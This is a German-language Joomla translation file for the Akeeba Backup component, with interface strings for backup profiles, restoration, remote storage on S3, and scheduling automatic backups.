COM_AKEEBABACKUP_PROFILES_HEADER_IMPORT="Importieren"
COM_AKEEBABACKUP_PROFILES_IMPORT="Importieren"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION="Profilbeschreibung"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP="Geben Sie eine Beschreibung für dieses Profil ein. Sie muss nicht eindeutig sein und dient nur dazu, Ihnen die Unterscheidung einzelner Profile zu erleichtern."
COM_AKEEBABACKUP_PROFILES_LBL_EXPLAIN_PROFILES="Jedes Sicherungsprofil ist ein Satz von Konfigurationsoptionen sowie Einschluss- und Ausschlussfilteroptionen. Es legt fest, was und wie Akeeba Backup sichert und wo die Sicherungsarchive gespeichert werden."
COM_AKEEBABACKUP_PROFILES_LBL_IMPORT_HELP="Wählen Sie eine exportierte Profil-.json-Datei von dieser oder einer anderen Website aus, um deren Einstellungen schnell zu importieren."
COM_AKEEBABACKUP_PROFILES_MSG_IMPORT_COMPLETE="Profil erfolgreich importiert"
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED="%d Sicherungsprofile wurden gelöscht."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED_1="Das Sicherungsprofil wurde gelöscht."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED="Ein-Klick-Sicherung wurde für %d Profile aktiviert."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED_1="Ein-Klick-Sicherung wurde für das Profil aktiviert."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET="Die Konfiguration und die Filter von %d Sicherungsprofilen wurden zurückgesetzt."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET_1="Die Konfiguration und die Filter des Sicherungsprofils wurden zurückgesetzt."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED="Ein-Klick-Sicherung wurde für %d Profile deaktiviert."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED_1="Ein-Klick-Sicherung wurde für das Profil deaktiviert."
COM_AKEEBABACKUP_PROFILES_PAGETITLE_EDIT="Sicherungsprofil bearbeiten"
COM_AKEEBABACKUP_PROFILES_PAGETITLE_NEW="Neues Sicherungsprofil"
COM_AKEEBABACKUP_PROFILES_TABLE_CAPTION="Tabelle der Sicherungsprofile"
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEACTIVE="Sie können das derzeit aktive Profil nicht löschen. Bitte gehen Sie zur Systemsteuerungsseite, wählen Sie ein anderes Profil aus und kehren Sie dann zu dieser Seite zurück, um Profil #%d zu löschen."
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEDEFAULT="Sie können das Standardprofil (das mit id=1) nicht löschen"
COM_AKEEBABACKUP_PROFILE_ERR_NOACCESS="Sie haben keinen Zugriff auf dieses Sicherungsprofil"

COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY="Akeeba Backup hat festgestellt, dass die Sicherung Ihrer Website \"%s\" in %s fehlgeschlagen ist."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE="Akeeba Backup hat festgestellt, dass die Sicherung Ihrer Website \"%s\" in %s fehlgeschlagen ist. Die Fehlermeldung der Sicherung lautet:\n%s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_SUBJECT="Fehlgeschlagene Sicherung für %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_BODY="Akeeba Backup hat die Sicherung Ihrer Website \"%s\" in %s am %s erfolgreich abgeschlossen."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_SUBJECT="Erfolgreiche Sicherung für %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_BODY="Akeeba Backup hat die Sicherung Ihrer Website \"%s\" in %s am %s abgeschlossen, aber es wurden Warnungen ausgegeben. Dies könnte bedeuten, dass Dateien nicht gesichert wurden oder, wenn Sie die Sicherung automatisch in einen Remote-Speicher hochladen, der Upload möglicherweise fehlgeschlagen ist.\nSie müssen die Warnungen überprüfen und sicherstellen, dass Ihre Sicherung erfolgreich abgeschlossen wurde. Wir empfehlen Ihnen, eine Sicherung, bei der Warnungen ausgegeben wurden, immer zu testen, um sicherzustellen, dass sie ordnungsgemäß funktioniert. Sie können dies tun, indem Sie sie auf einem lokalen Server wiederherstellen. Denken Sie daran: Eine ungetestete Sicherung ist so gut wie keine Sicherung."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_SUBJECT="Sicherung mit Warnungen abgeschlossen für %s"
COM_AKEEBABACKUP_PUSH_STARTBACKUP_BODY="Akeeba Backup hat begonnen, eine Sicherung der Website \"%s\" in %s am %s zu erstellen."
COM_AKEEBABACKUP_PUSH_STARTBACKUP_SUBJECT="Sicherung gestartet für %s"

COM_AKEEBABACKUP_REGEXDBFILTERS="Ausschluss von Datenbanktabellen per regulärem Ausdruck"
COM_AKEEBABACKUP_REGEXFSFILTERS="Ausschluss von Dateien und Verzeichnissen per regulärem Ausdruck"

COM_AKEEBABACKUP_REMOTEFILES="Verwaltung von remote gespeicherten Dateien"
COM_AKEEBABACKUP_REMOTEFILES_DELETE="Löschen"
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDELETE="Die remote gespeicherte Datei konnte nicht gelöscht werden. Der Fehler war: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDOWNLOAD="Die Datei konnte nicht heruntergeladen werden. Der Fehler war: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE="Lokale Datei %s kann nicht zum Schreiben geöffnet werden; Download-Vorgang wird abgebrochen"
COM_AKEEBABACKUP_REMOTEFILES_ERR_DELETE_ALREADY="Sie haben die remote gespeicherte Datei bereits gelöscht. Sie müssen die Datei erneut übertragen, damit die Funktionen zum Herunterladen und Löschen der Remote-Datei wieder verfügbar sind."
COM_AKEEBABACKUP_REMOTEFILES_ERR_DOWNLOADEDTOFILE_ALREADY="Sie haben die remote gespeicherte Datei bereits auf den Server Ihrer Website zurückgeholt. Wählen Sie den Sicherungseintrag aus und klicken Sie auf „Dateien löschen", um die auf dem Server Ihrer Website gespeicherte Datei zu entfernen und diese Schaltfläche wieder zu aktivieren."
COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID="Ungültige Download-ID angegeben"
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED="Leider unterstützt die von Ihnen verwendete Remote-Speicher-Engine das Herunterladen oder Löschen von remote gespeicherten Dateien nicht."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_ALREADYONSERVER="Sie haben die remote gespeicherten Dateien bereits mit Akeeba Backup gelöscht."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER="Keine Remote-Dateioperationen verfügbar"
COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED="Diese Funktionalität wird derzeit von der Nachverarbeitungs-Engine des aktuellen Sicherungseintrags nicht unterstützt."
COM_AKEEBABACKUP_REMOTEFILES_FETCH="Auf den Server zurückholen"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER="Vorgang läuft"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_PLEASEWAIT="Wird geladen, bitte warten."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_UNDERWAY="Der von Ihnen angeforderte Vorgang wird gerade ausgeführt."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_WAITINGINFO="Sie erhalten in wenigen Sekunden oder bis zu drei Minuten eine Aktualisierung des Fortschritts."
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR="Bisher heruntergeladen: %u von %u Bytes insgesamt (%u %%)"
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADLOCALLY="Auf den Desktop herunterladen"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHED="Download Ihres Sicherungssatzes vom Remote-Speicher auf den lokalen Server abgeschlossen"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHEDELETING="Remote gespeicherte Dateien wurden erfolgreich gelöscht"
COM_AKEEBABACKUP_REMOTEFILES_PART="Teil #%u"

COM_AKEEBABACKUP_RESTORE="Website-Wiederherstellung"
COM_AKEEBABACKUP_RESTORE_LABEL_ARCHIVE_INFORMATION="Sicherung #%d wird wiederhergestellt"
COM_AKEEBABACKUP_RESTORE_LABEL_WARN_ABOUT_RESTORE="Das Wiederherstellen einer Sicherung <em>ersetzt</em> Ihre Website durch den im Sicherungsarchiv enthaltenen Website-Snapshot. Alle seit dem Zeitpunkt der Sicherung an Ihrer Website vorgenommenen Änderungen gehen <em>unwiederbringlich verloren</em>. Bitte überprüfen Sie sorgfältig, ob Sie das richtige Sicherungsarchiv wiederherstellen."
COM_AKEEBABACKUP_RESTORE_ERROR_ARCHIVE_MISSING="Das Sicherungsarchiv konnte nicht gefunden werden"
COM_AKEEBABACKUP_RESTORE_ERROR_CANT_WRITE="restoration.php konnte nicht geschrieben werden. Bitte stellen Sie sicher, dass das Verzeichnis <code>administrator/components/com_akeebabackup</code> beschreibbar ist."
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD="Ungültiger Sicherungseintrag"
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_TYPE="Ungültiger Dateityp. Die integrierte Wiederherstellung funktioniert nur mit JPA- und ZIP-Dateien."
COM_AKEEBABACKUP_RESTORE_ERROR_NO_LATEST="Es gibt keine Sicherung, die mit Profil #%d erstellt wurde, oder das Sicherungsarchiv ist nicht auf Ihrem Server vorhanden. Bitte verwenden Sie die Seite „Sicherungen verwalten", um Ihre Sicherungen zu identifizieren, sie auf Ihren Server zurückzuholen (wenn sie remote gespeichert sind) und wiederherzustellen."
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESEXTRACTED="Extrahierte Bytes"
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESREAD="Gelesene Bytes"
COM_AKEEBABACKUP_RESTORE_LABEL_DONOTCLOSE="Bitte <strong>NICHT</strong> zu einer anderen Seite wechseln, zu einer anderen Browser-Registerkarte/-Fenster wechseln oder zu <em>einer anderen Anwendung</em> wechseln, bis Sie eine Abschluss- oder Fehlermeldung sehen. Stellen Sie sicher, dass Ihr Gerät während der Extraktion des Sicherungsarchivs nicht in den Ruhezustand wechselt."
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD="Dateiextraktionsmethode"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Direkt in Dateien schreiben"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_FTP="Die FTP-Schicht verwenden"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_HYBRID="Hybrid (direkt schreiben, FTP-Schicht nur bei Bedarf verwenden)"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED="Die Extraktion ist fehlgeschlagen"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED_INFO="Die Extraktion des Backup-Archivs ist fehlgeschlagen.<br/>Die letzte Fehlermeldung lautete:"
COM_AKEEBABACKUP_RESTORE_LABEL_FILESEXTRACTED="Extrahierte Dateien"
COM_AKEEBABACKUP_RESTORE_LABEL_FINALIZE="Wiederherstellung abschließen"
COM_AKEEBABACKUP_RESTORE_LABEL_FTPOPTIONS="FTP-Schicht-Optionen"
COM_AKEEBABACKUP_RESTORE_LABEL_INPROGRESS="Archivextraktion läuft"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC="Maximale Ausführungszeit (Sekunden)"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC_TIP="Dateien werden maximal so viele Sekunden in jedem Schritt extrahiert. Erhöhen Sie den Wert, um die Extraktion zu beschleunigen. Verringern Sie ihn, um Server-Zeitüberschreitungen zu vermeiden."
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC="Mindestausführungszeit (Sekunden)"
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC_TIP="Jeder Dateiextraktionsschritt wird für mindestens so viele Sekunden nicht zurückgegeben. Setzen Sie den Wert höher als die maximale Einstellung unten, um in jedem Schritt \"Totzeit\" hinzuzufügen und den Ressourcenverbrauch zu reduzieren."
COM_AKEEBABACKUP_RESTORE_LABEL_REMOTETIP="<strong>Tipp</strong>: Um auf einem Remote-Server wiederherzustellen, wählen Sie die Option „Die FTP-Schicht verwenden" und geben Sie die FTP-Verbindungsinformationen Ihres Remote-Servers in den FTP-Schicht-Optionen unten ein.<br/>Verwenden Sie die Hybrid-Option und geben Sie die FTP-Verbindungsinformationen der aktuellen Website ein, wenn die Wiederherstellung mit nicht beschreibbaren Dateien fehlschlägt."
COM_AKEEBABACKUP_RESTORE_LABEL_RUNINSTALLER="Website-Wiederherstellungsskript ausführen"
COM_AKEEBABACKUP_RESTORE_LABEL_START="Wiederherstellung starten"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS="Die Extraktion wurde erfolgreich abgeschlossen"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2="Sie müssen jetzt das Akeeba Backup-Wiederherstellungsskript ausführen, das zum Zeitpunkt der Sicherung in Ihr Backup-Archiv eingebettet wurde. <em>Schließen Sie dieses Fenster nicht!</em>. Nachdem die Wiederherstellung abgeschlossen ist, schließen Sie das Fenster des Akeeba Backup-Wiederherstellungsskripts und klicken Sie auf die neue Schaltfläche „Wiederherstellung abschließen" unten, um das Verzeichnis <code>installation</code> zu entfernen und Ihre wiederhergestellte Website zu nutzen."
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2B="Wenn Sie jedoch auf einer Remote-Website wiederherstellen, klicken Sie <em>nicht</em> auf eine der Schaltflächen. Besuchen Sie stattdessen die URL des Wiederherstellungsskripts unter <code>http://<var>www.ihrewebsite.de</var>/installation/index.php</code>. Klicken Sie nach Abschluss der Wiederherstellung auf den Link „Installationsordner entfernen" auf der letzten Seite des Wiederherstellungsskripts oder entfernen Sie das Verzeichnis <code>installation</code> von dieser Website manuell über Ihre bevorzugte FTP-Anwendung."
COM_AKEEBABACKUP_RESTORE_LABEL_TIME_HEAD="Timing-Einstellungen (Erweitert)"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE="Alles vor der Extraktion löschen"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE_HELP="Versucht, alle vorhandenen Dateien und Ordner im Stammverzeichnis Ihrer Website zu löschen, bevor das Backup-Archiv extrahiert wird. Es wird NICHT berücksichtigt, welche Dateien und Ordner im Backup-Archiv vorhanden sind oder welche Dateien und Ordner während des Backups ausgeschlossen wurden. Durch diese Funktion gelöschte Dateien und Ordner können NICHT wiederhergestellt werden. <strong>WARNUNG! DIES KANN DATEIEN UND ORDNER LÖSCHEN, DIE NICHT ZU IHRER WEBSITE GEHÖREN. DIESE FUNKTION IST NUR FÜR SEHR ERFAHRENE BENUTZER GEDACHT, DIE DIE RISIKEN KENNEN. MIT ÄUSSERSTER VORSICHT VERWENDEN. DURCH AKTIVIERUNG DIESER FUNKTION ÜBERNEHMEN SIE DIE VOLLE VERANTWORTUNG UND HAFTUNG. AUSSERDEM VERZICHTEN SIE AUF JEDES RECHT, SUPPORT VON AKEEBA LTD ZU VERLANGEN.</strong>"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE="Stealth-Modus während der Wiederherstellung aktivieren"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE_HELP="Besucher Ihrer Website, die von einer anderen IP-Adresse als Ihrer kommen, werden vorübergehend zu <code>installation/offline.html</code> weitergeleitet, einer Datei, die ihnen mitteilt, dass Ihre Website derzeit gewartet wird. Funktioniert nur auf Servern, die <code>.htaccess</code>-Dateien unterstützen. Weitere Informationen finden Sie in der Dokumentation."

COM_AKEEBABACKUP_S3IMPORT="Archive von S3 importieren"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTOPEN="Die temporäre Datei, die wir gerade erstellt haben, kann nicht geöffnet werden; Ihr Server hat ein Problem, das wir nicht umgehen können"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTWRITE="Ihr Ausgabeverzeichnis kann nicht beschrieben werden; bitte überprüfen Sie die Berechtigungen"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTENOUGHINFO="Nicht genügend Informationen, um eine Verbindung zu S3 herzustellen"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTFOUND="Die Datei wurde in Ihrem S3-Bucket nicht gefunden"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CHANGEBUCKET="Bucket wechseln"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CONNECT="Mit S3 verbinden"
COM_AKEEBABACKUP_S3IMPORT_LABEL_SELECTBUCKET="- Bucket -"
COM_AKEEBABACKUP_S3IMPORT_MSG_IMPORTCOMPLETE="Das Archiv wurde erfolgreich auf Ihre Website importiert"

COM_AKEEBABACKUP_S3_ACCESS_DESCRIPTION="Wie die API auf den Bucket zugreift. Falls unsicher, verwenden Sie Virtual Hosting. Virtual Hosting ist die empfohlene, unterstützte Methode für Amazon S3, die eine URL wie https://BUCKET.ENDPUNKT verwendet, um auf den Bucket zuzugreifen. Pfadzugriff ist eine nicht unterstützte, veraltete Methode, die eine URL wie https://ENDPUNKT/BUCKET verwendet, um auf den Bucket zuzugreifen. Sie sollten Pfadzugriff nur verwenden, wenn ein Drittanbieter-Speicheranbieter mit einer Amazon S3-kompatiblen API Sie darum bittet."
COM_AKEEBABACKUP_S3_ACCESS_PATH="Pfadzugriff (veraltet)"
COM_AKEEBABACKUP_S3_ACCESS_TITLE="Bucket-Zugriff"
COM_AKEEBABACKUP_S3_ACCESS_VIRTUALHOST="Virtual Hosting (empfohlen)"
COM_AKEEBABACKUP_S3_REGION_TITLE="Amazon S3-Region"
COM_AKEEBABACKUP_S3_REGION_DESCRIPTION="Wählen Sie die S3-Region, in der sich Ihr Bucket befindet. Bitte konsultieren Sie http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region <strong>ACHTUNG! Aufgrund von Amazons API MÜSSEN Sie den Speicherort Ihres Buckets auswählen, wenn Sie die v4-Signaturmethode verwenden. Die v4-Signaturmethode ist PFLICHT für alle Buckets, die in einer Region erstellt wurden, die nach Januar 2014 online gegangen ist, wie Frankfurt und São Paulo.</strong> Dies ist eine Amazon-Einschränkung, keine Akeeba Backup-Einschränkung. Vielen Dank für Ihr Verständnis."
COM_AKEEBABACKUP_S3_REGION_NONE="Keine (ACHTUNG! NUR MIT DER v2-SIGNATURMETHODE VERWENDEN)"
COM_AKEEBABACKUP_S3_REGION_CUSTOM_OR_NONE="Benutzerdefiniert / Keine"
COM_AKEEBABACKUP_S3_REGION_AFSOUTH1="Afrika, Süd (Kapstadt)"
COM_AKEEBABACKUP_S3_REGION_APEAST1="Asien-Pazifik, Ost (Hongkong)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST1="Asien-Pazifik, Nordost (Tokio)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST2="Asien-Pazifik, Nordost (Seoul)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST3="Asien-Pazifik, Südost (Osaka)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH1="Asien-Pazifik, Süd (Mumbai)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH2="Asien-Pazifik, Süd (Hyderabad)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST1="Asien-Pazifik, Südost (Singapur)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST2="Asien-Pazifik, Südost (Sydney)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST3="Asien-Pazifik, Südost (Jakarta)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST4="Asien-Pazifik, Südost (Melbourne)"
COM_AKEEBABACKUP_S3_REGION_CACENTRAL1="Kanada (Zentral)"
COM_AKEEBABACKUP_S3_REGION_CNNORTH1="China, Nord (Peking)"
COM_AKEEBABACKUP_S3_REGION_CNNORTHWEST1="China, Nordwest (Ningxia)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL1="Europa, Zentral (Frankfurt)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL2="Europa, Zentral (Zürich)"
COM_AKEEBABACKUP_S3_REGION_EUNORTH1="Europa, Nord (Stockholm)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH1="Europa, Süd (Mailand)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH2="Europa, Süd (Spanien)"
COM_AKEEBABACKUP_S3_REGION_EUWEST1="Europa, West (Irland)"
COM_AKEEBABACKUP_S3_REGION_EUWEST2="Europa, West (London)"
COM_AKEEBABACKUP_S3_REGION_EUWEST3="Europa, West (Paris)"
COM_AKEEBABACKUP_S3_REGION_MECENTRAL1="Naher Osten, Zentral (Vereinigte Arabische Emirate)"
COM_AKEEBABACKUP_S3_REGION_MESOUTH1="Naher Osten, Süd (Bahrain)"
COM_AKEEBABACKUP_S3_REGION_SAEAST1="Südamerika, Ost (São Paulo)"
COM_AKEEBABACKUP_S3_REGION_USEAST1="US-Ost (N. Virginia)"
COM_AKEEBABACKUP_S3_REGION_USEAST2="US-Ost (Ohio)"
COM_AKEEBABACKUP_S3_REGION_USWEST1="US-West (N. Kalifornien)"
COM_AKEEBABACKUP_S3_REGION_USWEST2="US-West (Oregon)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST1="AWS GovCloud (US-Ost)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST2="AWS GovCloud (US-West)"
COM_AKEEBABACKUP_S3_RRS_DEEP_ARCHIVE="Deep Archive"
COM_AKEEBABACKUP_S3_RRS_GLACIER="Glacier"
COM_AKEEBABACKUP_S3_RRS_INTELLIGENT_TIERING="Intelligent Tiering"
COM_AKEEBABACKUP_S3_RRS_ONEZONE_IA="One Zone – Infrequent Access"
COM_AKEEBABACKUP_S3_RRS_RRS="Reduced Redundancy Storage"
COM_AKEEBABACKUP_S3_RRS_STANDARD="Standard Storage"
COM_AKEEBABACKUP_S3_RRS_STANDARD_IA="Standard – Infrequent Access"
COM_AKEEBABACKUP_S3_SIGNATURE_DESCRIPTION="Geben Sie die Anforderungssignaturmethode an. Verwenden Sie v4, wenn Sie unsicher sind. Möglicherweise müssen Sie v2 bei Drittanbieter-Speicherdiensten verwenden (d. h. wenn Sie einen benutzerdefinierten Endpunkt angeben)."
COM_AKEEBABACKUP_S3_SIGNATURE_TITLE="Signaturmethode"
COM_AKEEBABACKUP_S3_SIGNATURE_V2="v2 (Legacy-Modus, Drittanbieter-Speicheranbieter)"
COM_AKEEBABACKUP_S3_SIGNATURE_V4="v4 (bevorzugt für Amazon S3)"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_TITLE="Benutzerdefinierte Amazon S3-Region"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_DESCRIPTION="Setzen Sie die obige Option auf „Benutzerdefiniert / Keine" und geben Sie hier den Namen der Region ein, die Sie verwenden möchten, z. B. <code>us-east-1</code> für US East (N. Virginia).<br/>Dies ist für neue S3-Regionen gedacht, die wir oben noch nicht aufgeführt haben, oder für Drittanbieter S3-kompatible Dienste, die die S3 v4 API und ihre eigenen, benutzerdefinierten, dienstspezifischen Regionsnamen verwenden."

COM_AKEEBABACKUP_SCHEDULE="Automatische Backups planen"

COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER="Geplante Joomla-Aufgaben"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_INFO="Sie können Backup-Aufgaben mithilfe der Funktion für geplante Aufgaben von Joomla erstellen. Bitte lesen Sie zuerst die Dokumentation, um die Kompromisse und potenziellen Probleme zu verstehen, je nachdem, wie Sie die geplanten Aufgaben von Joomla auslösen."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_BUTTON="Geplante Aufgaben verwalten"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_HEAD="Geplante Aufgaben sind nur ab Joomla 4.1 verfügbar"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_BODY="Joomla hat die Funktion für geplante Aufgaben in Joomla! Version 4.1.0 eingeführt. Bitte aktualisieren Sie Ihre Website auf die neueste Joomla-Version, um Zugang zu geplanten Aufgaben zu erhalten."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_HEAD="Das Plugin „Aufgabe – Akeeba Backup" ist deaktiviert."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BODY="Das Plugin „Aufgabe – Akeeba Backup" muss aktiviert sein, damit Joomlas geplante Aufgaben wissen, wie Backups mit Akeeba Backup ausgeführt werden. Bitte gehen Sie zu System, Verwalten, Plugins und aktivieren Sie das Plugin. Alternativ klicken Sie auf die folgende Schaltfläche, um das Plugin direkt zu bearbeiten."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BUTTON="Plugin bearbeiten"

COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON="Alternative Kommandozeilen-CRON-Aufträge"
COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON_INFO="Diese Methode wird nur empfohlen, wenn der reguläre Kommandozeilen-CRON-Auftrag nicht abgeschlossen wird. Obwohl er über Joomlas Konsolenanwendung läuft, geht er durch Joomlas Web-Anwendung – mit Akeeba Backups Frontend-Backup-Methode –, was ihn langsamer macht als die native CLI-Methode."
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECKHEADERINFO="<p>Wenn ein geplantes Backup fehlschlägt, bedeutet das typischerweise, dass PHP gestoppt hat, bevor das Backup abgeschlossen ist. Daher kann Akeeba Backup Sie nicht über den Backup-Fehler auf dieselbe Weise informieren, wie es Sie über das erfolgreiche oder warnungsbehaftete Beenden des Backups informiert.</p><p>Um dieses Problem zu lösen, können Sie die neuesten Backup-Prüfungen planen, die nach dem erwarteten Ende Ihres Backup-Laufs ausgeführt werden. Nicht sicher, wann das wäre? Idealerweise sollte es die Länge des letzten erfolgreichen Backups, das auf der Seite „Sicherungen verwalten" aufgezeichnet ist, plus eine halbe Stunde sein.</p><p>Sie können diese Prüfung mit verschiedenen Methoden planen, genau wie das Backup selbst. Unten finden Sie weitere Informationen zu jeder verfügbaren Planungsmethode für Backup-Prüfungen. Wenn Sie unsicher sind, welche Sie verwenden sollen, empfehlen wir, dieselbe Planungsmethode wie für Ihre Backups zu verwenden.</p>"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS="Backup-Status prüfen"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON="Kommandozeilen-CRON-Aufträge (empfohlen)"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON_INFO="Dies ist die empfohlene Methode für alle Server, die Kommandozeilen-CRON-Aufträge unterstützen. Diese Methode verwendet Joomlas Konsolenanwendung (CLI) – anstelle von Joomlas Web-Anwendung – und erreicht so maximale Backup-Geschwindigkeit."
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO="Wichtig"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO="Denken Sie daran, <em>%s</em> durch den echten Pfad zum PHP <strong>CLI (Kommandozeilenschnittstelle)</strong>-Executable Ihres Hosts zu ersetzen. Beachten Sie, dass Sie das PHP-CLI-Executable verwenden müssen; das PHP-CGI (Common Gateway Interface)-Executable funktioniert <em>nicht</em> mit Joomlas CLI-Anwendung. Wenn Sie nicht wissen, was das bedeutet, wenden Sie sich bitte an Ihren Host. Nur dieser kann diese Information bereitstellen."
COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO="Akeeba Backup hat erkannt, dass der <em>wahrscheinlichste</em> Pfad zu PHP CLI <code>%s</code> ist, und hat ihn in der oben angezeigten Befehlszeile verwendet. Wenn das nicht funktioniert, ersetzen Sie bitte <code>%1$s</code> durch den echten Pfad zum PHP <strong>CLI (Kommandozeilenschnittstelle)</strong>-Executable Ihres Hosts. Diese Information kann Ihr Host bereitstellen."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP="Frontend-Backup-Funktion"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_INFO="Diese Methode verwendet eine öffentliche URL und einen Geheimschlüssel, um ein Backup Ihrer Website auszulösen. Das Backup schreitet durch HTTP-Weiterleitungen voran. Bitte beachten Sie, dass URL-basierte „CRON"-Aufträge der meisten Hosts sowie die meisten Drittanbieter URL-basierte CRON-Dienste keine HTTP-Weiterleitungen unterstützen. Wenn die Beispiele mit wget und curl unten nicht für Sie funktionieren, verwenden Sie bitte die Frontend-Backup-URL mit dem sehr günstigen Drittanbieterdienst webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS="Die Frontend-Backup-Funktion kann mit einer Vielzahl von Methoden verwendet werden. Klicken Sie auf die Registerkarten unten, um die Beschreibung aller Methoden zu sehen. Denken Sie daran, dass alle in unserer Dokumentation detailliert erklärt werden."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL="cURL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT="PHP-Skript"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL="URL"
